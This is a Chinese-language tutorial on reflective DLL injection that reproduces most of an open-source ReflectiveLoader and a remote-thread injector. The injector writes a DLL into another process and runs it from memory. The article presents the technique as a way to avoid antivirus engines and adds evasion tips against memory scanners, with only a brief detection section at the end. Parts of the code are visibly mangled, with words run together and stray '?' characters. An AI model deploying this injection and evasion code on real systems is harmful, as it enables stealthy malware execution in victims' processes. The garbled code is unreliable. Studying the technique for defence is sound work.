本期作者/shadow
在之前的文章中,通過模擬 Windows 映像加載程序的功能,完全從內存中加載 DLL 模塊,而無需將 DLL 存儲到磁盤上,但這只能從本地進程中加載進內存中,如果想要在目標進程中通過內存加載 DLL 模塊,可以通過一些 I/O 操作將所需的代碼寫入目標進程,但這大量的 I/O 操作對病毒引擎來說過于敏感,還有一個思路就是編寫一段引導程序,這段引導程序用來模擬 Windows 映像加載程序的功能加載所需 DLL 模塊,這就是本文所描述的技術,反射 DLL 注入。當然,還有一些其它的方法通過可以完成這樣的需求,比如一些 PE 注入技術,進程鏤空,進程重影等。
反射 DLL 注入
在理解其原理之前,需要知道什么是反射 DLL,反射 DLL 是一個特殊的 DLL 程序,其擁有一個 PE 加載程序的引導程序,這個引導程序被作為一個導出函數導出,一旦目標進程調用此導出函數,它將模擬 Windows 映像加載程序的功能,將 DLL 自身加載到內存中執行。
需要說明的是,必須保證這個特殊的導出函數中的代碼是位置無關的,也就是說,該導出函數內部不能使用全局變量并且使用到的 WinAPI 必須通過在運行時通過 API Hash 值比對獲取,不能使用全局變量是因為其被硬編碼到編譯后的二進制文件中,這些值在鏈接的過程中被添加到一個名為 .reloc 的區段中,而在執行這塊引導程序(導出函數)的時候,注入到目標進程的 DLL 程序尚未被加載,因此無法進程被 Windows 映像加載程序對其執行重定位,如果在導出函數中使用全局變量的值,這將是一個無效的值,同樣不能在函數內部使用 WinAPI 是同樣的道理,在執行導出函數的時候,DLL 的 IAT 尚未修復,如果直接調用 WinAPI 將導致訪問沖突異常。下圖說明了反射 DLL 注入的工作原理。
反射 DLL 的實現
反射 DLL 注入(ReflectiveDLLInjection)的 POC 最初是由Stephen Fewer 發布的,該 POC 由兩部分組成,一部分是反射 DLL 的實現,該 DLL 存在一個特殊的導出函數名稱為 ReflectiveLoader,另一部分是反射 DLL 的注入器代碼。ReflectiveDLLInjection 其倉庫地址為:https://github.com/stephenfewer/ReflectiveDLLInjection。
獲取 ReflectiveLoader所需的
WinAPI 地址
前面提到,ReflectiveLoader 這個特殊的導出函數需要在運行時通過 API Hash 比對獲取使用到的導出函數地址,ReflectiveLoader 函數中使用到的 WinAPI 有:
LoadLibraryA
GetProcAddress
VirtualAlloc
NtFlushInstructionCache
//STEP 1: process the kernels exports forthe functions our loader needs... //get the Process Enviroment Block #ifdef WIN_X64 uiBaseAddress = __readgsqword( 0x60); #else #ifdef WIN_X86 uiBaseAddress = __readfsdword( 0x30); #else WIN_ARM uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2) + 0x30); #endif #endif //get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx uiBaseAddress= (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; //get the first entry ofthe InMemoryOrder modulelist uiValueA= (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; while( uiValueA ) { //get pointer to current modules name (unicode string) uiValueB= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; //set bCounter to the length forthe loop usCounter= ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; //clear uiValueC which will store the hash ofthe modulename uiValueC = 0; //compute the hash ofthe modulename... do { uiValueC = ror( (DWORD)uiValueC ); //normalize to uppercase ifthe madule name isinlowercase if( *((BYTE *)uiValueB) >= 'a') uiValueC += *((BYTE *)uiValueB) - 0x20; else uiValueC += *((BYTE *)uiValueB); uiValueB++; } while( --usCounter ); //compare the hash with that ofkernel32.dll if( (DWORD)uiValueC == KERNEL32DLL_HASH ) { //get thismodules base address uiBaseAddress= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; //get the VA ofthe modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; //uiNameArray = the address ofthe modules exportdirectory entry uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; //get the VA ofthe exportdirectory uiExportDir= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // gettheVAforthearrayofnamepointers uiNameArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // gettheVAforthearrayofnameordinals uiNameOrdinals= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter= 3; // loopwhilewestillhaveimportstofind while( usCounter > 0) { // computethehashvaluesforthisfunctionname dwHashValue= hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // ifwehavefoundafunctionwewantwegetitsvirtualaddress if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) { // gettheVAforthearrayofaddresses uiAddressArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // usethisfunctionsnameordinalasanindexintothearrayofnamepointers uiAddressArray+= ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // storethisfunctionsVA if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA= (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); elseif( dwHashValue == GETPROCADDRESS_HASH ) pGetProcAddress= (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); elseif( dwHashValue == VIRTUALALLOC_HASH ) pVirtualAlloc= (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrementourcounter usCounter--; } // getthenextexportedfunctionname uiNameArray+= sizeof(DWORD); // getthenextexportedfunctionnameordinal uiNameOrdinals+= sizeof(WORD); } } elseif( (DWORD)uiValueC == NTDLLDLL_HASH ) { // getthismodulesbaseaddress uiBaseAddress= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; //get the VA ofthe modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; //uiNameArray = the address ofthe modules exportdirectory entry uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; //get the VA ofthe exportdirectory uiExportDir= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // gettheVAforthearrayofnamepointers uiNameArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // gettheVAforthearrayofnameordinals uiNameOrdinals= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter= 1; // loopwhilewestillhaveimportstofind while( usCounter > 0) { // computethehashvaluesforthisfunctionname dwHashValue= hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // ifwehavefoundafunctionwewantwegetitsvirtualaddress if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) { // gettheVAforthearrayofaddresses uiAddressArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // usethisfunctionsnameordinalasanindexintothearrayofnamepointers uiAddressArray+= ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // storethisfunctionsVA if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) pNtFlushInstructionCache= (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrementourcounter usCounter--; } // getthenextexportedfunctionname uiNameArray+= sizeof(DWORD); // getthenextexportedfunctionnameordinal uiNameOrdinals+= sizeof(WORD); } } // westopsearchingwhenwehavefoundeverythingweneed. if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) break; // getthenextentry uiValueA= DEREF( uiValueA ); }
定位反射 DLL 的基址
在獲取 ReflectiveLoader 所需的 WinAPI 的地址后,接下來就是定位反射 DLL 的基址,也就是注入程序將反射 DLL 寫入目標進程空間中的位置,實現這個過程有兩種思路:
方法一:暴力檢索目標進程中反射 DLL 的地址。
方法二:通過將 DLL 在目標進程中的基址通過參數形式傳遞給 ReflectiveLoader 函數。
方式二實現較為簡單,就是在將反射 DLL 寫入目標進程的過程中傳遞分配的地址給 ReflectiveLoader 函數,因為在寫入反射 DLL 的過程中知道其在目標進程空間中的地址,方式一則是根據 PE 文件的頭部特征進行定位,從 ReflectiveLoader 函數當前指令位置,不斷向 DLL 頭部進行檢索(由于 ReflectiveLoader 函數必定在反射 DLL 中 PE 頭部的下方),從而在目標進程中找到反射的 DLL 的基址。下面的代碼利用暴力檢索去定位反射 DLL 的基址。
// STEP 0: calculate our images current base address // we will start searching backwards from our callers return address. uiLibraryAddress = caller(); // loop through memory backwards searching for our images base address // we dont need SEH style search as we shouldnt generate any access violations with this while( TRUE) { if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024?) ????????{ ????????????uiHeaderValue += uiLibraryAddress; ????????????// break if we have found a valid MZ/PE header ????????????if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } } uiLibraryAddress--; }
其中 caller() 函數就是獲取當前將要執行的指令地址:
#pragmaintrinsic( _ReturnAddress ) // This function can not be inlined by the compiler or we will not get the address we expect. Ideally // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics // available (and no inline asm available under x64). __declspec(noinline) ULONG_PTRcaller( VOID ) { return(ULONG_PTR)_ReturnAddress(); }
加載反射 DLL
到此已經完成了基本的準備工作,隨后便可以加載注入到目標進程的反射 DLL,這個過程將模擬 Windows 鏡像加載程序從而將反射 DLL 自身加載到目標進程內存中并執行。
這個加載過程如下:
首先分配足夠的內存來保存反射 DLL 文件。
將反射 DLL 的 PE 頭部和節區復制到分配的空間中。(可以不用復制 PE 頭部以降低內存中特征的幾率)。
修復反射 DLL 的基址重定位。
修復反射 DLL 的 IAT。
執行反射 DLL 的入口點代碼(DllMain)。
//STEP 2: load our image into a newpermanent location inmemory... //get the VA ofthe NT Header forthe PE to be loaded uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; //allocate all the memory forthe DLL to be loaded into. we can load at any address because we will //relocate the image. Also zeros all memory andmarks it asREAD, WRITE andEXECUTE to avoid any problems. uiBaseAddress= (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // wemustnowcopyovertheheaders uiValueA= ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; uiValueB = uiLibraryAddress; uiValueC = uiBaseAddress; while( uiValueA-- ) *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; //STEP 3: load inall ofour sections... //uiValueA = the VA ofthe first section uiValueA= ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); // itteratethroughallsections, loadingthemintomemory. uiValueE= ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while( uiValueE-- ) { //uiValueB isthe VA forthissection uiValueB= ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); // uiValueCiftheVAforthissectionsdata uiValueC= ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); // copythesectionover uiValueD= ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; while( uiValueD-- ) *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; //get the VA ofthe next section uiValueA += sizeof( IMAGE_SECTION_HEADER ); } //STEP 4: process our images importtable... //uiValueB = the address ofthe importdirectory uiValueB= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; //we assume their isan importtable to process //uiValueC isthe first entry inthe importtable uiValueC= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // itteratethroughallimports while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) { // useLoadLibraryAtoloadtheimportedmoduleintomemory uiLibraryAddress= (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); // uiValueD= VAoftheOriginalFirstThunk uiValueD= ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); // uiValueA= VAoftheIAT(via first thunk notorigionalfirstthunk) uiValueA= ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); // itteratethroughallimportedfunctions, importingbyordinalifnonamepresent while( DEREF(uiValueA) ) { // sanitycheckuiValueDassomecompilersonlyimportbyFirstThunk if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) { // gettheVAofthemodulesNTHeader uiExportDir= uiLibraryAddress+ ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; //uiNameArray = the address ofthe modules exportdirectory entry uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; //get the VA ofthe exportdirectory uiExportDir= ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // gettheVAforthearrayofaddresses uiAddressArray= ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // usetheimportordinal(- exportordinal base)asanindexintothearrayofaddresses uiAddressArray+= ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); // patchintheaddressforthisimportedfunction DEREF(uiValueA)= ( uiLibraryAddress + DEREF_32(uiAddressArray) ); } else { // gettheVAofthisfunctionsimportbynamestruct uiValueB= ( uiBaseAddress + DEREF(uiValueA) ); // useGetProcAddressandpatchintheaddressforthisimportedfunction DEREF(uiValueA)= (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); } // getthenextimportedfunction uiValueA+= sizeof( ULONG_PTR ); if( uiValueD ) uiValueD+= sizeof( ULONG_PTR ); } // getthenextimport uiValueC+= sizeof( IMAGE_IMPORT_DESCRIPTOR ); } // STEP5: processallofourimagesrelocations... // calculatethebaseaddressdeltaandperformrelocations(even ifwe load at desired image base) uiLibraryAddress= uiBaseAddress- ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; //uiValueB = the address ofthe relocation directory uiValueB= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; //check iftheir are any relocations present if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) { //uiValueC isnow the first entry (IMAGE_BASE_RELOCATION) uiValueC= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // andweitteratethroughallentries... while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) { // uiValueA= theVAforthisrelocationblock uiValueA= ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); // uiValueB= numberofentriesinthisrelocationblock uiValueB= ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) )/ sizeof( IMAGE_RELOC ); // uiValueDisnowthefirstentryinthecurrentrelocationblock uiValueD= uiValueC+ sizeof(IMAGE_BASE_RELOCATION); // weitteratethroughalltheentriesinthecurrentblock... while( uiValueB-- ) { // performtherelocation, skippingIMAGE_REL_BASED_ABSOLUTEasrequired. // wedontuseaswitchstatementtoavoidthecompilerbuildingajumptable // whichwouldnotbeverypositionindependent! if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= uiLibraryAddress; elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= (DWORD)uiLibraryAddress; #ifdefWIN_ARM // Note: OnARM, thecompileroptimization/O2seemstointroduceanoffbyoneissue, possiblyacodegenbug. Using/O1insteadavoidsthisproblem. elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) { registerDWORDdwInstruction; registerDWORDdwAddress; registerWORDwImm; // gettheMOV.TinstructionsDWORDvalue(We add 4to the offset to go past the first MOV.W which handles the low word) dwInstruction= *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); // flipthewordstogettheinstructionasexpected dwInstruction= MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); // sanitychackweareprocessingaMOVinstruction... if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) { // pullouttheencoded16bitvalue(the high portion ofthe address-to-relocate) wImm= (WORD)( dwInstruction & 0x000000FF); wImm|= (WORD)((dwInstruction & 0x00007000) >> 4); wImm|= (WORD)((dwInstruction & 0x04000000) >> 15); wImm|= (WORD)((dwInstruction & 0x000F0000) >> 4); // applytherelocationtothetargetaddress dwAddress= ( (WORD)HIWORD(uiLibraryAddress) + wImm )& 0xFFFF; // nowcreateanewinstructionwiththesameopcodeandregisterparam. dwInstruction= (DWORD)( dwInstruction & ARM_MOV_MASK2 ); // patchintherelocatedaddress... dwInstruction|= (DWORD)(dwAddress & 0x00FF); dwInstruction|= (DWORD)(dwAddress & 0x0700)<< 4; ????????????dwInstruction?|= (DWORD)(dwAddress & 0x0800)?<< 15; ????????????dwInstruction?|= (DWORD)(dwAddress & 0xF000)?<< 4; ????????????// now?flip?the?instructions?words?and?patch?back?into?the?code... ????????????*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) )= MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); } } #endif elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= HIWORD(uiLibraryAddress); elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= LOWORD(uiLibraryAddress); // getthenextentryinthecurrentrelocationblock uiValueD+= sizeof( IMAGE_RELOC ); } // getthenextentryintherelocationdirectory uiValueC= uiValueC+ ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; } } //STEP 6: call our images entry point //uiValueA = the VA ofour newly loaded DLL/EXE's entry point uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); // call our respective entry point, fudging our hInstance value #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); #else // if we are injecting an DLL via a stub we call DllMain with no parameter ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); #endif // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. return uiValueA;
其中需要注意的是,在執行 DllMain 入口函數之前,需要調用 NtFlushInstructionCache 函數去清除整個進程中的指令緩存,避免由于緩存使用重定位之前的代碼。
還有一些補充的東西,比如設置節區的權限,針對反射 DLL 這個 PE 文件中如果存在異常處理程序,和 TLS 回調函數,這些需要去針對處理,這些內容在 PE 自注入文章中提及,可參考對其進行補充。
反射 DLL 注入器實現
在反射 DLL 實現后,需要編寫一個反射 DLL 的注入程序將反射 DLL 注入到目標進程中,在這個注入器中,將獲取反射 DLL 的導出函數 ReflectiveLoader 在目標進程中的地址進行遠程調用。
獲取 ReflectiveLoader 函數的地址
獲取 ReflectiveLoader 導出函數的地址,通過一個名為 GetReflectiveLoaderOffset 的函數實現,該函數通過解析寫入目標進程的反射 DLL 的導出表來獲取 ReflectiveLoader 這個導出函數的地址。
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) { UINT_PTRuiBaseAddress = 0; UINT_PTRuiExportDir = 0; UINT_PTRuiNameArray = 0; UINT_PTRuiAddressArray = 0; UINT_PTRuiNameOrdinals = 0; DWORD dwCounter = 0; #ifdef WIN_X64 DWORD dwCompiledArch = 2; #else // This will catch Win32 and WinRT. DWORD dwCompiledArch = 1; #endif uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; // get the File Offset of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // currenlty we can only process a PE file which is the same type as the one this fuction has // been compiled as, due to various offset in the PE structures being defined at compile time. if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32 { if( dwCompiledArch != 1) return0; } elseif( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64 { if( dwCompiledArch != 2) return0; } else { return0; } // uiNameArray = the address of the modules export directory entry uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the File Offset of the export directory uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); // get the File Offset for the array of name pointers uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); // get the File Offset for the array of addresses uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); // get the File Offset for the array of name ordinals uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); // get a counter for the number of exported functions... dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; // loop through all the exported functions to find the ReflectiveLoader while( dwCounter-- ) { char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); if( strstr( cpExportedFunctionName, "ReflectiveLoader") != NULL) { // get the File Offset for the array of addresses uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); // use the functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // return the File Offset to the ReflectiveLoader() functions code... returnRva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } return0; }
其中 Rva2Offset 函數是將某數據的 RVA 轉換為該數據在文件中的偏移量(FOA),具體轉換公式為:
某數據的FOA=該數據的RVA?(該數據所在節的起始RVA–該數據所在節的起始FOA)
Rva2Offset 的代碼如下,該函數將給定數據的 RVA 轉換為對應的文件偏移量。
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) { WORD wIndex = 0; PIMAGE_SECTION_HEADER pSectionHeader = NULL; PIMAGE_NT_HEADERS pNtHeaders = NULL; pNtHeaders= (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); pSectionHeader= (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); if( dwRva < pSectionHeader[0].PointerToRawData ) ????????return?dwRva; ????for( wIndex=0?; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) { if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )??????????? ???????????return?( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); ????} ???? ????return?0; }
執行 ReflectiveLoader 函數
要想將反射 DLL 被加載執行,那么就需要執行其導出函數 ReflectiveLoader,在前面已經通過解析反射 DLL 獲取到了 ReflectiveLoader 這個導出函數的地址,接下來就是執行它了。
在目標進程中執行 ReflectiveLoader 函數,首先需要將反射 DLL 寫入到目標進程中,通過使用 VirtualAllocEx 函數在目標進程中開辟內存空間并寫入反射 DLL 內容,之后通過 CreateRemoteThread 函數在目標進程創建一個線程執行 ReflectiveLoader 函數,這叫導致反射 DLL 被加載執行。
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ){ BOOLbSuccess = FALSE; LPVOID lpRemoteLibraryBuffer = NULL; LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; HANDLE hThread = NULL; DWORD dwReflectiveLoaderOffset = 0; DWORD dwThreadId = 0; __try { do{ if( !hProcess || !lpBuffer || !dwLength ) break; // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); if( !dwReflectiveLoaderOffset ) break; // alloc memory (RWX) in the host process for the image... lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !lpRemoteLibraryBuffer ) break; // write the image into the host process... if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) break; // add the offset to ReflectiveLoader() to the remote library address... lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); // create a remote thread in the host process to call the ReflectiveLoader! hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); } while( 0 ); } __except( EXCEPTION_EXECUTE_HANDLER ) { hThread = NULL; } return hThread;}
測試
在反射 DLL 中編寫需要執行的代碼,并使用反射 DLL 注入器進行反射 DLL 注入到目標進程中進行測試。
VOID Go() { MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK ); /// other code here. } BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) { caseDLL_PROCESS_ATTACH: Go(); break; caseDLL_THREAD_ATTACH: caseDLL_THREAD_DETACH: caseDLL_PROCESS_DETACH: break; } returnTRUE; }
說明:在使用 Visual Studio IDE 編譯反射 DLL 工程項目的過程中,注意關閉支持我的代碼調試(/JMC)標志和禁用安全檢查(/GS)標志,因為這些會導致編譯器向最終的二進制代碼中添加一些安全檢查代碼,需要避免編譯器對反射 DLL 的進行優化,從而導致改變代碼的執行路徑,進而導致程序崩潰。
測試效果如下:
檢測
針對反射的 DLL 的導出函數 ReflectiveLoader 函數名稱進行特征(這可以通過修改導出函數名稱解決),使用 Pesieve 或者 Moneta 等內存掃描工具針對被加載的 PE 載荷進行運行時檢測,這需要對運行的內存進行加密來對抗。針對一些敏感的 API 調用進行監控。
總結
本文首先針對反射 DLL 注入的應用場景做了簡單的介紹,之后介紹了反射 DLL 注入的原理,其由兩部分組成,其中一部分是反射 DLL,另一部分反射 DLL 注入器,兩者缺一不可。之后結合開源代碼對反射 DLL 注入的實現進行了進一步說明,對其實現流程進行了說明,最后演示了反射 DLL 注入的效果和提出了一些注意點,并提供了一些檢測方式。
審核編輯:湯梓紅
-
dll
+關注
關注
0文章
116瀏覽量
46060 -
程序
+關注
關注
117文章
3820瀏覽量
82375 -
函數
+關注
關注
3文章
4367瀏覽量
64136
原文標題:反射 DLL 注入
文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
評論